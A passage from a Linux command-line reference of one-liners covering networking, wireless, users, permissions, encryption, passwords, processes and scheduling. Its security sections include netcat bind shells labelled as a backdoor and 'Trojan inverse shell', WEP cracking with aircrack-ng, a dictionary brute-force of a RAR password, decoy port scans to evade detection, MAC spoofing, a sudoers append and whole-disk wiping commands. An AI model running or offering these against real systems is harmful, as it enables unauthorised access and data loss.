 dhclient -r && rm -f /var/lib/dhcp3/dhclient* && sed "s=$(hostname)=REPLACEME=g" -i /etc/hosts && hostname "$(echo $RANDOM | md5sum | cut -c 1-7 | tr a-z A-Z)" && sed "s=REPLACEME=$(hostname)=g" -i /etc/hosts && macchanger -e eth0 && dhclient

PING

....

* ping a range of IP addresses

 nmap -sP 192.168.1.100-254

* ping a host until it responds, then play a sound, then exit

 beepwhenup () { echo 'Enter host you want to ping:'; read PHOST; if [[ "$PHOST" == "" ]]; then exit; fi; while true; do ping -c1 -W2 $PHOST 2>&1 >/dev/null; if [[ "$?" == "0" ]]; then for j in $(seq 1 4); do beep; done; ping -c1 $PHOST; break; fi; done; }

IFCONFIG

....

@@ http://linuxhelp.blogspot.com/2006/11/ifconfig-dissected-and-demystified.html how to use ifconfig

* setup ethernet network device specifying an ip address

  ifconfig eth0 192.168.0.1 netmask 255.255.255.0 broadcast 192.168.0.255 up

PROXY

SERVERS ....

* Create a single-use TCP proxy with debug output to stderr

 socat -v tcp4-l:<port> tcp4:<host>:<port>

* Create a single-use TCP (or UDP) proxy

 nc -l -p 2000 -c "nc example.org 3000"

MAC

ADDRESSES ....

A 'mac' address is a unique number associated with a given network interface on a computer. A network interface is a wireless card, ethernet card, modem, etc. No 2 network devices in the world have the same mac address, or at least shouldnt.

@@ http://linuxhelp.blogspot.com/2005/09/how-to-change-mac-address-of-your.html how to change ('spoof') the mac address for a given network device on the local computer.

@@ deb: macchanger a package to change the mac address for a given network interface. this may not work with all wireless cards.

* Determine MAC address of remote host when you know its IP address

 arping 192.168.1.2

* Insert a colon between every two digits

 sed 's/\(..\)/\1:/g;s/:$//' mac_address_list

* find the mac address of all active network interfaces (wireless, ethernet ...)

 ifconfig -a | grep HWaddr

* show the mac address to ip table for the local computer

 arp

* Resets your MAC to a random MAC address to make you harder to

 ran=$(head /dev/urandom | md5sum); MAC=00:07:${ran:0:2}:${ran:3:2}:${ran:5:2}:${ran:7:2}; sudo ifconfig wlan0 down hw ether $MAC; sudo ifconfig wlan0 up; echo ifconfig wlan0:0

* change or 'spoof' the mac address of the ethernet network device ifconfig eth0 down ifconfig eth0 hw ether 00:80:48:BA:d1:30 ifconfig eth0 up ifconfig eth0 | grep HWaddr ,,,

* change the mac address for the wireless card 'wlan0' to the specified

 macchanger --mac 00:00:13:37:00:00 wlan0 
##(this only works if the wireless card driver supports the operation)

MONITORING

NETWORK BANDWIDTH ....

* watch data usage on eth0

 watch ifconfig eth0

* monitor bandwith and data transfer

 iptables, bmon, vnstat, ntop, bwm-ng, iftop, iptraf, darkstat, mrtg ...

* output bmon data as html

 bmon -O html:path=/home/var/www/html/data/bmon

* create a new database with data about the eth0 (ethernet interface)

 vnstat -u -i eth0

* store data about the 'ppp0' interface (a modem, or wireless usb dongle) etc

 sudo vnstat -u -i ppp0

* show an ascii graph of data transfer by the hour

 vnstat -h

* look for the number of RX bytes and TX bytes of the active interface

 ifconfig

NETWORK

CONFIGURATION ....

udp uses no acknowledgement used by: tftp (trivial file transfer protocol) , snmp (simple network manage protocol), dhcp, dns uses port numbers uses ip the only improvement on ip are port numbers

* tcpdump, ethereal to see network traffic

* monitor the ethernet network traffic

 while :; do netstat -in | grep ath0 ; sleep 1 ; done 

* show network interfaces

 ip link show
 netstat -in 

* list the routing table

 ip route show

* configure a network connection via dhcp

 dhclient

WIRELESS

NETWORKS ....

tools .. iwlist - show available wlans .. iwgetid - shows interfaces .. iwpriv .. iwspy - show other lan clients .. iwevent - monitor wlans .. dhclient - set up dhcp clients ..

* connect to a network called 'beach cafe'

 iwconfig etho essid "beach cafe"

* connect to the 'uconnect' network

 iwconfig eth0 essid uconnect

* connect with a wep key

 iwconfig eth0 essid uconnect key s:Password
 iwconfig eth0 essid uconnect key 1fa24 ##(hex notation)

* get a dhcp ip address from the network

 dhclient   ##(run this after 'iwconfig')

* show the mac address of the access point

 iwgetid -ap

* show available encryption algorithms

 iwlist encryption

* show transmitter power

 iwlist power

* show the status of the wireless interface eth1

 iwconfig eth1

If an ESSID:"name" appears then connected

* show information about available wireless networks in range

 iwlist scan

* view all networks reachable from the ra0 interface (wireless card)

 iwlist ra0 scan

* very mysterious

 iwpriv  ??

WIRELESS

SECURITY ....

@@ http://www.aircrack-ng.org The official site

wireless security auditing programs .. aircrack-ng, obtain wireless network passwords .. kismet, see wireless networks in range and clients ..

* sniff wireless traffic using the 'ra0' interface

 sudo airodump-ng ra0

* Put the wireless card into monitor mode

 airmon-ng start <interface> <channel>

* capture wireless packets on channel 11 from the given mac address

 airodump-ng -c 11 --bssid 00:01:02:03:04:05 -w dump rausb0
##(the captured packets get written to a file prefixed 'dump') ##(>40000 packets should be captured in order to crack the key)

* attempt to crack the wep key using captured data in 'dump-01.cap'

 aircrack-ng -b 00:01:02:03:04:05 dump-01.cap

* use several captured data packet files using a wildcard

 aircrack-ng -b 00:01:02:03:04:05 dump*.cap 

* test if the 'ra0' wireless card supports 'injection'

 aireplay-ng -9 ra0      ##(or run with sudo) 
##(injection is required for speeding up wireless attacks)

USER

AND GROUP ACCOUNTS

Unix style operating systems use user and group accounts to attempt to control access to files, folders and other resources. The super-user on a unix-style operating system is called the 'root' user

USERS

....

* find out who you logged onto the machine as

 who am i

* find out what users are logged onto the system

 who

* display which user is running a process from a given port name

 fuser -nu tcp 3691

* list what rights you will have after a 'sudo' command

 sudo -l

* quickly add user accounts to the system and force a password

 for name in larry moe schemp; do useradd $name; echo 'password' | passwd --stdin $name; chage -d 0 $name; done

* Add existing user to a group

 usermod -a -G groupname username

* list files not owned by any user or group

 find / -nouser -o -nogroup -print

* list your group memberships

 groups 
##(prints 'steward galley crew')

* list the group memberships of user blackbeard

 groups blackbeard 

* output a list of the members of the galley group

 members galley 

* change the group ownership of file 'cruise' to bridge

 chgrp bridge cruise 

* give group ownership of the 'maps' directory and all the files it contains to the bridge group

 chgrp -R bridge maps 

* write-protect the file 'cruise' so that no other users can change it

 chmod go-w cruise 

* make the file 'cruise' private from all users but yourself

 chmod go= cruise 

* make the file 'cruise' both world readable and world writable

 chmod a+rw cruise 

* give execute permission to all users for the file 'myscript'

 chmod a+x myscript 

* Get a quick list of all user and group owners of files and dirs

 find -printf '%u %g\n' | sort | uniq

Packages @@ deb: acct show information about users @@ deb: quota allows the administrator to place disk quotas on users account

* Remove executable bit from all files in the current directory

 find . ! -type d -exec chmod -x {}\;

* Switch to a user with "nologin" shell

 sudo -u username bash

* Recursive chmod all files and directories within the current folder

 chmod -R 774 .

* Create a listing of all possible permissions and their octal

 touch /tmp/$$;for N in `seq -w 0 7777|grep -v [89]`; do chmod $N /tmp/$$; P=`ls -l /tmp/$$ | awk '{print $1}'`; echo $N $P; done;rm /tmp/$$

* show all user accounts on the local computer

 cat /etc/passwd    
 cat /etc/passwd | grep /home  ##(shows only non-application users)

* List all groups and the user names that were in each group

 for u in `cut -f1 -d: /etc/passwd`; do echo -n $u:; groups $u; done | sort

* add a new user account

 adduser

* add a new group account

 addgroup

* change ownership of a file to another user

 chown

* change the group ownership of a file or files

 chgrp

* print what groups a user belongs to

 groups

* change the password for the 'mjb' user account

 passwd mjb

* find all files on the computer owned by the 'bob' user

 find / -user bob -ls

FILE

PERMISSIONS ....

* give any files that don't already have it group read permission

 find . -type f ! -perm /g=r -exec chmod g+r {} +

* remove executable bit from all files in the current directory

 chmod -R -x+X *

* recursively reset file or folder permissions

 find public_html/stuff -type d -exec chmod 755 {} + -or -type f -exec chmod 644 {} +

* Change the ownership of all files owned by one user.

 find /home -uid 1056 -exec chown 2056 {} \;

* create directory and set owner/group/mode in one shot

 install -o user -g group -m 0700 -d /path/to/newdir

SECURITY

* Unix security checker

 tiger

NET

SECURITY ....

* find running binary executables that were installed irregularly

 cat /var/lib/dpkg/info/*.list > /tmp/listin ; ls /proc/*/exe |xargs -l readlink | grep -xvFf /tmp/listin; rm /tmp/listin

* Scan Network for Rogue APs.

 nmap -A -p1-85,113,443,8080-8100 -T4 --min-hostgroup 50 --max-rtt-timeout 2000 --initial-rtt-timeout 300 --max-retries 3 --host-timeout 20m --max-scan-delay 1000 -oA wapscan 10.0.0.0/8

* Create a backdoor on a machine to allow remote connection to bash

 nc -vv -l -p 1234 -e /bin/bash

* Find brute force attempts on SSHd

 cat /var/log/secure | grep sshd | grep Failed | sed 's/invalid//' | sed 's/user//' | awk '{print $11}' | sort | uniq -c | sort -n

* Use a decoy while scanning ports to avoid getting caught by the

 sudo nmap -sS 192.168.0.10 -D 192.168.0.2

* Conficker Detection with NMAP

 nmap -PN -d -p445 --script=smb-check-vulns --script-args=safe=1 IP-RANGES

* Find files with root setuids settings

 sudo find / -user root -perm -4000 -print

* Trojan inverse shell

 nc -l -p 2000 -e /bin/bash

* Check for login failures and summarize

 zgrep "Failed password" /var/log/auth.log* | awk '{print $9}' | sort | uniq -c | sort -nr | less

* Block known dirty hosts from reaching your machine

 wget -qO - http://infiltrated.net/blacklisted|awk '!/#|[a-z]/&&/./{print "iptables -A INPUT -s "$1" -j DROP"}'

* retrieve top ip threats from http://isc.sans.org/sources.html

 curl -s http://isc.sans.org/sources.html|grep "ipinfo.html"|awk -F"ip="

* Locking and unlocking files and mailboxes

 lockfile

* Add a line for your username in the /etc/sudoers file

 echo 'loginname ALL=(ALL) ALL' >> /etc/sudoers

SHREDDING

....

Shredding data means deleting data in a way that makes that data not recoverable, by analogy with the process of shredding a document.

* Securely destroy data (including whole hard disks)

 shred targetfile

* securely overwrite a file with random junk, rename it to clear

 shred -vzu /tmp/junk-file-to-be-shredded

* Shred an complete disk, by overwritting its content 10 times

 sudo shred -zn10 /dev/sda

* Securely destroy data on given device

 # for i in $(seq 1 25); do dd if=/dev/urandom of=<your disk> bs=1M ; done

FIREWALLS

....

* Redirect incoming traffic to SSH, from a port of your choosing

 iptables -t nat -A PREROUTING -p tcp --dport [port of your choosing] -j REDIRECT --to-ports 22

* Tired of switching between proxy and no proxy? here's the solution

 iptables -t nat -A OUTPUT -d ! 10.0.0.0/8 -p tcp --dport 80 -j DNAT --to-destination 10.1.1.123:3128

* Save iptables firewall info

 sudo iptables-save > /etc/iptables.up.rules

* Remove an IP address ban that has been errantly blacklisted by

 denyhosts-remove $IP_ADDRESS

* watch iptables counters

 watch 'iptables -vL'

* Block all IP addresses and domains that have attempted brute

 (bzcat BZIP2_FILES && cat TEXT_FILES) | grep -E "Invalid user|PAM" | grep -o -E "from .+" | awk '{print $2}' | sort | uniq >> /etc/hosts.deny

PRIVACY

@@ bleachbit eliminate all sorts of caches, for the sake of privacy

@@ gpa a graphical user interface to 'gpg' @@ seahorse the gnome graphical front-end for gpg @@ kgpg the kde front end @@ firegpg use gpg with webmail in firefox @@ psi use gpg with jabber xmpp im clients @@ enigmail integrate gpg with thunderbird email client

the 2 keys .. your public - other people use it to send you stuff .. your private - decrypt things sent to you .. other persons public - you use it to send things to them .. other person private - they use it to decrypt things sent to them

* see if gpg is installed

 which gpg
 which gpg2    ##(the newer version)

* make a public key for somebody to send you stuff

 gpg --gen-key
 input name and email address

The new key gets put on a key-ring

* see what keys are on your keyring (like the one you just made)

 gpg --list-keys

* show the fingerprint for a key

 gpg --fingerprint

'fingerprints' are used to make sure that the public key for somebody really is from them.

* export the key with the given id to a file 'key.asc' and send to people

 gpg --armor --export 86d68542 --output key.asc

* send the public key with given id to the mit 'public key server'

 gpg --keyserver=x-hkp://pgp.mit.edu --send-keys 86d68542 

or use the web interface at http://pgp.mit.edu to submit a public key paste the '.asc' file created before with --armor

* import a key file containing somebodies public key

 gpg --import key.asc

Then you use this key to encrypt things which you are going to send to them.

* search the 'mit' public key server for a public key belonging to Ben stewart

 gpg --keyserver=x-hkp://pgp.mit.edu --search-keys Ben Stewart

Then enter a number corresponding to the desired user to enter that key into your keyring

KEYRING

....

* private keys normally stored in

 /home/user/.gnupg/pubring.pgp

* public keys stored in

 /home/user/.gnupg/secring.pgp

SIGNING

KEYS ....

In order to verify that a public key really is from somebody, signing is used. The more genuine people sign a key as authentic the more likely it is that it will be authentic

* sign the public key for 'bob'

 pgp --edit-key bob@stew.net

Then send this signed key to the public key server with the same command as before.

* list who has signed the public key for 'bob stewart'

 gpg --list-sigs bob@stew.net

ENCRYPTING

....

* encrypt 'file.pdf' for sending to user bob@stew.net (using his public key)

 gpg --encrypt --recipient 'bob@stew.net' file.pdf

creates a file 'file.pdf.gpg' which is encrypted

* encrypt a file for yourself (just use your own public key to encrypt it)

 gpg --encrypt --recipient 'me@here.net' file.pdf

DECRYPTING

....

* decrypt a file sent to you (uses your private key)

 gpg --output f.txt --decrypt f.txt.asc

this prompts for your keyring passphrase

* create a file 'leaks.txt.asc' which is signed as being from you but not encrypted

 gpg --clearsign leaks.txt

* verify that a 'signed' file is from the person who it says it is

 gpg --verify leaks.txt

* create a revocation certificate which is useful if you forget a password

 gpg --gen-revoke 8657698

Send the revocation certificate to the public key server if you forget a password for a key

ENCRYPTION

encryption tools .. password gorilla - a graphical cross-platform encryption tool .. gpg - .. gpg2 - .. cccrypt - .. mcrypt - replacement for crypt, unrecommends itself ..

* Quickly generate an MD5 hash for a text string using OpenSSL

 echo -n 'text to be encrypted' | openssl md5

* gpg decrypt several files

 gpg --allow-multiple-messages --decrypt-files *

* Safely store your gpg key passphrase.

 pwsafe -qa "gpg keys"."$(finger `whoami` | grep Name | awk '{ print $4" "$5 }')"

* quickly encrypt a file with gnupg and email it with mailx

 cat file.txt | gpg2 --encrypt --armor --recipient "Disposable Key" | mailx -s "Email Subject" user@email.com

* Mount a truecrypt drive from a file from the command line

 su -c "truecrypt --non-interactive truecrypt-file cryptshare -p PASSWORD"

* Create/open/use encrypted directory

 encfs ~/.crypt ~/crypt

* Encrypted archive with openssl and tar

 tar c folder_to_encrypt | openssl enc -aes-256-cbc -e > secret.tar.enc

* Encrypted archive with openssl and tar

 openssl des3 -salt -in unencrypted-data.tar -out encrypted-data.tar.des3

* rot13 simple substitution cipher via command line

 alias rot13='perl -pe "y/A-Za-z/N-ZA-Mn-za-m/;"'

* Cracking a password protected .rar file

 for i in $(cat dict.txt);do unrar e -p$i protected.rar; if [ $? = 0 ];then echo "Passwd Found: $i";break;fi;done

MD5 SUMS ....

* Create md5sum of files under the current dir excluding some

 find . -type d \( -name DIR1 -o -name DIR2 \) -prune -o -type f -print0 | xargs -r0 md5sum

* recursively md5 all files in a tree

 find ./backup -type f -print0 | xargs -0 md5sum > /checksums_backup.md5

* Verify MD5SUMS but only print failures

 md5sum --check MD5SUMS | grep -v ": OK"

GPG

....

gpg stands for gnu pretty good privacy, more or less.

* Receive, sign and send GPG key id

 caff <keyid>

* import gpg key from the web

 curl -s http://defekt.nl/~jelle/pubkey.asc | gpg --import

* gpg decrypt a file

 gpg --output foo.txt --decrypt foo.txt.pgp

* add a gpg key to aptitute package manager in a ubuntu system

 wget -q http://xyz.gpg -O- | sudo apt-key add -

* encrypt the file 'log.txt'

 gpg -c log.txt  

* gpg encrypt a file

 gpg --encrypt --recipient 'Foo Bar' foo.txt

* decrypt file

 gpg log.txt  

* encrypts or decrypts files in a specific directory

 for a in path/* ; do ccenrypt -K <password> $a; done

PASSWORDS

....

* Use md5 to generate a pretty hard to crack password

 echo "A great password" | md5sum

* Generate a random password 30 characters long

 strings /dev/urandom | grep -o '[[:alnum:]]' | head -n 30 | tr -d '\n'; echo

* Hiding password while reading it from keyboard

 save_state=$(stty -g);echo -n "Password: ";stty -echo;read password;stty "$save_state";echo "";echo "You inserted $password as password"

* generate a unique and secure password for every website that you

 sitepass() { echo -n "$@" | md5sum | sha1sum | sha224sum | sha256sum | sha384sum | sha512sum | gzip - | strings -n 1 | tr -d "[:space:]" | tr -s '[:print:]' | tr '!-~' 'P-~!-O' | rev | cut -b 2-11; history -d $(($HISTCMD-1)); }

RECOVERING

PASSWORDS ....

* password recovery on debian

 init=/bin/bash; mount -o remount,rw /

GENERATING

PASSWORDS ....

* generate random password

 pwgen -Bs 10 1

* Password Generation

 pwgen --alt-phonics --capitalize 9 10

* a homemade password generator

 genpass(){local i x y z h;h=${1:-8};x=({a..z} {A..Z} {0..9});for ((i=0;i<$h;i++));do y=${x[$((RANDOM%${#x[@]}))]};z=$z$y;done;echo $z ;}

* Generate Random Passwords

 dd if=/dev/urandom count=200 bs=1 2>/dev/null | tr "\n" " " | sed 's/[^a-zA-Z0-9]//g' | cut -c-16

* generate random password

 openssl rand -base64 6

* Generate 10 pronunciable passwords

 apg -a 0 -n 10

* password generator

 genpass() { local h x y;h=${1:-8};x=( {a..z} {A..Z} {0..9} );y=$(echo ${x[@]} | tr ' ' '\n' | shuf -n$h | xargs);echo -e "${y// /}"; }

* generate random password

 tr -dc 'a-zA-Z0-9' < /dev/urandom | head -c10

* Creates a random password from /dev/urandom [0-9A-za-z]

 head -c $((<pw-lenght>-2)) /dev/urandom | uuencode -m - | sed -e '1d' -e '3d' | sed -e 's/=.*$//g'

CHANGING

PASSWORDS ....

* force change password for all users

 for i in `cat /etc/passwd | awk -F : '{ print $1 }';`; do passwd -e $i; done

SERVICES

'services' are a special type of process which are generally always running and are often started when the computer starts up. Examples of services are a web-server, an ftp server ...

@@ debian: sysvconfig allows a user to use the redhat-style 'service' command

* show what services are available on the computer

 ls /etc/init.d

* start or stop a service on a debian-style linux

 sudo /etc/init.d/servicename start|stop

* restart the 'sshd' (secure shell) service

 sudo /etc/init.d/sshd restart

* another way

 update-rc.d ... invoke-rc.d

* stop the 'apache' service (with the sysvconfig package, or on redhat style)

 sudo service apache stop

* other tools: rcconf, update-rc.d

STARTING

SERVICES AT COMPUTER START UP ....

Linux has a concept of 'run-levels' which are stages the computer reaches as it boots up, and as it shuts down. The higher the level the more 'booted-up' is. One can configure a server to start at any particular 'run-level'.

* configure apache to start up when the computer starts

 update-rc.d apache2 defaults   ##(this is debian-specific) 
 update-rc.d apache2 start 20 2 3 4 5 . stop 80 0 1 6 .  ##(the same)

* disable the apache webserver from starting when the computer starts

 update-rc.d -f apache2 remove

* create automatic startup links manually (this is the older way)

 cd /etc/rc5.d/
 ln -s /etc/init.d/apache2 S20apache2
# when the computer enters run-level 5 (rc5.d) is will start (S) the # 'apache2' service with a priority of '20', that is, before all other # services which have a priority number greater than 20

PIPES

The unix pipeline is possibly the most important concept in the unix world

* cat large file to clipboard with speed-o-meter

 pv large.xml | xclip

PROCESSES

At the heart of a unix-type operating system is the concept of the 'process'. Processes allow the computer to do more than one thing at a time.

Processes are essentially running programs (applications, software). Some applications, when they run, are visible because they use a 'window' or they display information or data on the command-line. However other processes are 'invisible'; that is, they are running, but you as the user doesnt see any visible activity.

* Close shell keeping all subprocess running

 disown -a && exit

process tools .. ps - the basic tool .. top - views processes in real time .. lsof - displays open files .. pstree - a hierarchical tree display .. pmap - .. pgrep - ..

VIEWING

PROCESSES ....

It may be possible to view processes also with 'zenity' etc.

* view processes (jobs) for only the current user/ shell

 ps

* show information for all processes

 ps -e

* display all your processes which have 'eave' in their name

 leave +30; ps | grep -v grep | grep -i eave

* make a bash function 'pss' to display processes with 'ave' in the name

 pss(){ ps | grep -v grep | grep -i "$1"; }; pss ave

* view all processes in real time

 top

* show verbose information for all processes, not just for the current user

 ps -ef
 ps aux  ##(more or less the same)

* Show a 4-way scrollable process tree with full details.

 ps awwfux | less -S

* Alias for displaying a process tree nicely

 alias pst='pstree -Alpha'; pst

* show all processes in a 'tree' format (parent and child processes linked)

 pstree

* Displays process tree of all running processes

 pstree -Gap

* Check if a process is running

 kill -0 <process-id> 

* order processes by cpu usage

 ps -e -o pcpu,cpu,nice,state,cputime,args --sort pcpu | sed "/^ 0.0 /d"

* Show the 20 most CPU/Memory hungry processes

 ps aux | sort +2n | tail -20

* show process numbers for the root user

 pgrep -u root

* show running processes ordered by the amount of CPU usage

 ps -eo pcpu,pid,args | sort -n

* show all processes using a directory/file/etc

 lsof | grep /Volumes/Lexar 

* sort all running processes by their memory & cpu usage

 ps aux --sort=%mem,%cpu

MANAGING

PROCESSES ....

* ionice limits process I/O, to keep it from swamping the system

 ionice -c3 find /

* Restart command if it dies.

 ps -C program_name || { program_name & }

ANALYSING

PROCESSES ....

* Determining the excat memory usages by certain PID

 pmap -d [pid]

* count processes with status "D" uninterruptible sleep

 top -b -n 1 | awk '{if (NR <=7) print; else if ($8 == "D") {print; count++} } END {print "Total status D: "count}'

* Find the processes that are on the runqueue. Processes with a

 ps -eo stat,pid,user,command | egrep "^STAT|^D|^R"

* Pulls total current memory usage, including SWAP being used, by all processes

 ps aux | awk '{sum+=$6} END {print sum/1024}'

* find out current working directory of a process

 echo COMMAND | xargs -ixxx ps -C xxx -o pid= | xargs -ixxx ls -l /proc/xxx/cwd

* Show top running processes by the number of open filehandles they

 lsof | awk '{print $1}' | sort | uniq -c | sort -rn | head

* Return threads count of a process

 ps -o thcount -p <process id>

* List all process running on port 80

 sudo lsof -i :80

* catch a process from a user and strace it.

 x=1; while [ $x = 1 ]; do process=`pgrep -u username`; if [ $process ]; then x=0; fi; done; strace -vvtf -s 256 -p $process

KILLING

PROCESSES ....

In order to stop a running program (which doesnt have a window) it is necessary to 'kill' (or stop) the associated process. In order to do this first it may be necessary to find out the process identification number ('pid') of the running application.

* start and then kill the 'leave' process using its exact name

 leave +20; killall -9 leave; ps 

The command above will permanently stop ('kill') all processes which are named exactly 'leave', that is, all processes which were started by the 'leave' reminder program.

* make a bash function 'psk' to kill processes with 'ave' in their name

 psk(){ ps | grep -v grep | grep -i "$1" | awk '{print $1;}' | xargs kill -9; }; psk ave

* another way to kill a process using its name

 leave +20; pkill leave; ps

* Kill a background job

 kill %1

* Kills a process that is locking the file 'eg.txt'

 fuser -k eg.txt 

* find out the 'pid' number of a process associated with 'leave'

 leave +20; ps aux | grep leave

* show the process id of a running program

 ls | at 1156; pidof at ; ps 

you have to know the exact name of the program

* Kill all processes that don't belong to root/force logoff

 for i in $(pgrep -v -u root);do kill -9 $i;done

* Kill all processes belonging to a user

 ps -ef | grep $USERNAME | awk {'print $2'} | xargs kill [-9]

* Kill all processes beloging to a single user.

 kill -9 `ps -u <username> -o "pid="`

* Kill most recently created process with the name 'firefox'

 pkill -n firefox

* kill all processes using a directory/file/etc

 lsof | grep /Volumes/Lexar | awk '{print $2}' | xargs kill

* stop a program or process with 'sshd' in its name

 kill $(ps -ef | awk '/sshd/ { print $2 }') 
 kill $(ps -ef | grep sshd | awk '{ print $2 }')   ##(the same)

* trace the system calls made by a process (and its children)

 strace -f -s 512 -v ls -l

ZOMBIE

PROCESSES ....

* display all 'zombie' processese

 ps aux | awk '{ print $8 " " $2 " " $11}' | grep -w Z

* Get a regular updated list of zombies

 watch "ps auxw | grep [d]efunct"

* Get a regular updated list of zombies

 watch "ps auxw | grep 'defunct' | grep -v 'grep' | grep -v 'watch'"

ENVIRONMENT

CONFIGURATIONS

* show the values of the environment variables

 env 
 printenv

* Executes a command changing an environment variable 'var'

 var="value" command 

For example ...

* show what time and date it is in new york

 TZ=America/New_York date

ALIASES

....

* put aliases in the ~/.bashrc file to save them

 alias dir='ls -la | less'

* Make alias pemanent fast

 PERMA () { echo "$@" >> ~/.bashrc; }

* a variable can be used in an alias

 alias say='echo $1'   ##(but alias say='echo $1; echo 1' doesnt work...)

* reload the .bashrc file to make a new alias take effect

 source ~/.bashrc

* add a folder to the executable path (put in ~/.bash_profile file to save it)

 export PATH=/path/to/folder:"${PATH}"
##(programs in this folder can then be executed with 'programname')

* make all terminals write to the same history file

 shopt -s histappend       ##(put in .bashrc, on single user systems)

* enable changing to a folder by typing only the folder name (not path)

 export CDPATH='.:~:/some/folder:/path/to/folder'
##(place this in .bashrc with commonly used folders)

TIMING

PERFORMANCE

* time how long a "grep" command takes to execute

 time grep -rl big *

* time the execution time of 2 commands at the same time

 time { find / -name '*what*'; locate '*.cc' ; }

SCHEDULING

tools .. batch - .. cron - a scheduling tools .. crontab - a file of scheduled tasks .. at - run a command at a certain time .. nice - run with a certain priority ..

AT ....

* retrieve the page 'elpais.com' at 12:00 oclock

 echo 'wget http://elpais.com' | at 12:00

* Schedule a script or command to run in 2 hours

 ( ( sleep 2h; your-command your-args ) & )

* Execute a command at a given time

 echo "ls -l" | at midnight

* Run a command only when load average is below a certain threshold

 echo "rm -rf /unwanted-but-large/folder" | batch

CRON

....

Cron is the traditional unix tool for scheduling tasks; that is for instructing the computer to automatically carry out a task at a given time, or at given intervals, without the user explicitly starting the task. Each task is placed in the 'crontab' file.

* view the help page for the crontab file

 man 5 crontab

* run the script 'upload.sh' every 15 mins past the hour

 */15 * * * * /usr/local/bin/upload.sh  ##(put this in the cron file)

* add the new entry in the file 'crontab' to the cron schedule,

 crontab

* update your system every day at lunch time (12:00)

 (crontab -e) 00 12 * * * apt-get update (/etc/init.d/cron restart)

* edit the crontab file

 crontab -e

* edit crontab

 vi ~/.crontab && crontab ~/.crontab

* Log output from a cronjob to a file, but also e-mail if a string

 some_cronjobed_script.sh 2>&1 | tee -a output.log | grep -C 1000 ERROR

* print crontab entries for all the users that actually have a file

 for USER in `cut -d ":" -f1 </etc/passwd`; do crontab -u ${USER} -l 1>/dev/null 2>&1; if [ ! ${?} -ne 0 ]; then echo -en "--- crontab for ${USER} ---\n$(crontab -u ${USER} -l)\n"; fi; done

NOTIFICATIONS

....

* Set an alarm to wake up [2]

 echo "aplay path/to/song" | at [time]

* Set an alarm to wake up

 sleep 5h && rhythmbox path/to/song

* beep when a server goes offline

 while true; do [ "$(ping -c1W1w1 server-or-ip.com | awk '/received/ {print $4}')" != 1 ] && beep; sleep 1; done

* Remind yourself to leave in 15 minutes

 leave +15

* An alarm clock using xmms2 and at

 echo "xmms2 play" | at 6:00

* Send pop-up notifications on Gnome

 notify-send ["<title>"] "<body>"

* Will email user@example.com when all Rsync processes have

 $(while [ ! -z "$(pgrep rsync)" ]; do echo; done; echo "rsync done" | mailx user@example.com) > /dev/null &

* Run a long job and notify me when it's finished

 ./my-really-long-job.sh && notify-send "Job finished"

* Set audible alarm when an IP address comes online

 ping -i 60 -a IP_address

* Notify me when users log in

 notifyme -C `cat /etc/passwd | cut -d: -f1`

* display a (gtk) window with the text 'command finished'

 zenity --info --text="command finished!" 

ALARMS

....

* A snooze button for xmms2 alarm clock

 xmms2 pause && echo "xmms2 play" | at now +5min

* An alarm clock using xmms2 and at

 at 6:00 <<< "xmms2 play"

DATABASES

popular database software .. postgresql - .. mysql - .. berkeley db - ..

see the book:
http://bumble.sf.net/books/linux-database/linux-database-book.txt'

CONFIGURING

LINUX

tools .. update-alternatives - maintains default programs for tasks .. getent - gets data from an adminstrative database ..

* Get contents from hosts, passwd, groups

 getent [group|hosts|networks|passwd|protocols|services] [keyword]

* set the default pager used for man pages

 update-alternatives --set pager /usr/bin/most

Environment variables etc

* show the current path

 echo $PATH

THE

OPERATING SYSTEM

* Find distro name and/or version/release

 cat /etc/*-release

* When was your OS installed?

 ls -lct /etc/ | tail -1 | awk '{print $6, $7, $8}'

KERNEL

....

* send kernel log (dmesg) notifications to root via cron

 (crontab -l; echo '* * * * * dmesg -c'; ) | crontab -

* Short Information about loaded kernel modules

 awk '{print $1}' "/proc/modules" | xargs modinfo | awk '/^(filename|desc|depends)/'

* Short Information about loaded kernel modules

 modinfo $(cut -d' ' -f1 /proc/modules) | sed '/^dep/s/$/\n/; /^file\|^desc\|^dep/!d'

* find your release version of your ubuntu / debian distro

 lsb_release -a

* When was your OS installed?

 ls -ldct /lost+found |awk '{print $6, $7}'

MODULES

....

Modules in some cases serve the purpose of device drivers. In some cases they need to be compiled from source code, and then installed in the kernel with 'modprobe'.

* Disable beep sound from your computer

 echo "blacklist pcspkr"|sudo tee -a /etc/modprobe.d/blacklist.conf

SWAP

FILES ....

* create an emergency swapfile when the existing swap space is too small

 sudo dd if=/dev/zero of=/swapfile bs=1024 count=1024000;sudo mkswap /swapfile; sudo swapon /swapfile

HARDWARE

CONFIGURATION

* set your ssd disk as a non-rotating medium

 sudo echo 0 > /sys/block/sdb/queue/rotational

* 32 bits or 64 bits?

 getconf LONG_BIT

* Getting information about model no. of computer

 dmidecode | grep -i prod

* print indepth hardware info

 sudo dmidecode | more

* Generate the CPU utilization report

 sar -u 2 5

* hard disk information - Model/serial no.

 hdparm -i[I] /dev/sda

* Create an html page of information about your harddisk

 lshw -C disk -html > /tmp/diskinfo.html

* Create a nifty html overview of the hardware in your computer

 lshw -html > hardware.html  ##('hardware.html' can be viewed in a browser)

* show the linux kernel version

 uname -r

* show kernel startup messages

 dmesg

* show usb devices

 lsusb

MODULES

AND DEVICE DRIVERS

In Linux, 'device drivers' (which make bits of hardware work) are also known as 'kernel modules'. If a piece of hardware is not working, then usually a kernel module must be loaded. This may involve; Find the product code for the device (looks like 0341:4561). Then find the module for that product. Then download the module source, compiling the module and installing it.

* list your device drivers

 lspci -vv | less

* show all loaded kernel modules

 lsmod

* find module files in or below the current folder

 find . -name *.ko    ##(kernel module files end in 'ko')

* build the dependencies between various kernel modules

 depmod -a

* load the 'rt3090sta' module (a wireless card driver)

 sudo modprobe rt3090sta

* show pci devices

 lspci

* show ram memory information

 cat /proc/meminfo

* show cpu information

 cat /proc/cpuinfo

* Short information about loaded kernel modules

 lsmod | cut -d' ' -f1 | xargs modinfo | egrep '^file|^desc|^dep' | sed -e'/^dep/s/$/\n/g'

* Short information about loaded kernel modules

 lsmod | sed -e '1d' -e 's/\(\([^ ]*\) \)\{1\}.*/\2/' | xargs modinfo | sed -e '/^dep/s/$/\n/g' -e '/^file/b' -e '/^desc/b' -e '/^dep/b' -e d

* Lists installed kernels

 dpkg --get-selections | grep linux-image

KEYBOARD

....

* Replace Caps-lock with Control-key

 xmodmap -e 'remove Lock = Caps_Lock' && xmodmap -e 'add control = Caps_Lock'

* Change the console keyboard layout

